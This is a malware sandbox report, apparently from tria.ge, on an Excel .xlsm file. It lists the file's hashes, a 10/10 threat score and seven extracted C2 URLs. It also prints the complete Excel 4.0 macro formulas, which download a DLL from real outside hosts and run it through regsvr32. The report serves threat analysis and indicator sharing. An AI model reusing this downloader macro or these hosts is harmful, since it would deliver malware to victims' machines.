Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    a2ce2b1e64c5fe978aeb033cab952bbebcd59e046f93350aadcd2cc84d67014d

  • Size

    20KB

  • MD5

    481287127a9efe0f676dd35537546a31

  • SHA1

    fdd8ac9fb90cadda552165decee8f32c4ae9678d

  • SHA256

    a2ce2b1e64c5fe978aeb033cab952bbebcd59e046f93350aadcd2cc84d67014d

  • SHA512

    19115c6bd5b6264930c7d83a340dabe4ce9d60a96ab4155a8a0559808ebcf768a5ed50ba2f59a5dddde7c0b0a66f89ba8e04a3bbc27787d7b0f5b986b864de06

  • SSDEEP

    384:WKAVb1GNjYTo4CGzPd6ZIwL0AOKb5CzgObff9kC+xbX7jvIv:WKYINmo4FLyCBn9kC+xbLA

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/

http://festival.artdialog.ch/contact/RGhcwH4DRBM/

http://bramynapilota.com.pl/wp-admin/NHk/

http://brwconsultoria.com.br/img/Vl0i9o/

http://buildershyper.co.za/s6Oe/

http://business-tailor.nl/ww12/Kz7GjU/

https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://festival.artdialog.ch/contact/RGhcwH4DRBM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bramynapilota.com.pl/wp-admin/NHk/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brwconsultoria.com.br/img/Vl0i9o/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buildershyper.co.za/s6Oe/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://business-tailor.nl/ww12/Kz7GjU/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • a2ce2b1e64c5fe978aeb033cab952bbebcd59e046f93350aadcd2cc84d67014d
    .xlsm office2007